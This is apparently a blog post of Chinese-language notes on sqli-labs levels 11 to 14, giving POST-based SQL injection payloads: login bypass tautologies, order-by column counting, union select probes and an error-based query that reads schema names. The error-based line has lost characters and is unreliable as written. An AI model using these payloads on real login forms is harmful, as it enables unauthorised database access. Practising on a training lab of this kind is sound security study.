-
less11
- POST型与GET型,不大相同。
- 输入用户名1',得到错误You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' and password='' LIMIT 0,1' at line 1
- 猜测语句为
select username,password from table where username = 'inputname' and password = 'inputpass' - 让这个语句为真就会得到结果,怎么为真呢?
- 构建1' or 1=1 #或-- (有空格)
- 1' or 1=1 limit 1,1# 会得到第二项结果
- 测试POST的字段数目
- 1' or 1=1 order by 3#
- 联合查询1' or 1=1 union select 1,2 #是没有反应的,要用1' union select 1,2 #,因为联合查询要前面的为false,所以更保险的是1' and 1=2 union select 1,2 #
分析: union 前面的 where 条件肯定是为假的,因为 and 了一个 1=2,在网上查找资料说的是 id=1 and 1=2 的 结果集 是 0,所以显示 union select 后面的 结果集 -
less12
- 与less11类似,不过是1‘变成1")
-
less13
- 输入',",),)),\等测试
- 报错发现是id=1') or 1=1 #
- 进行POST报错注入1') and (select 1 from (select count(),concat('::',(select schema_name from information_schema.schemata limit 0,1),'::',floor(rand()2))x from information_schema.tables group by x) a ) #
-
less14
- 与less11类似就是变成了双引号
网友评论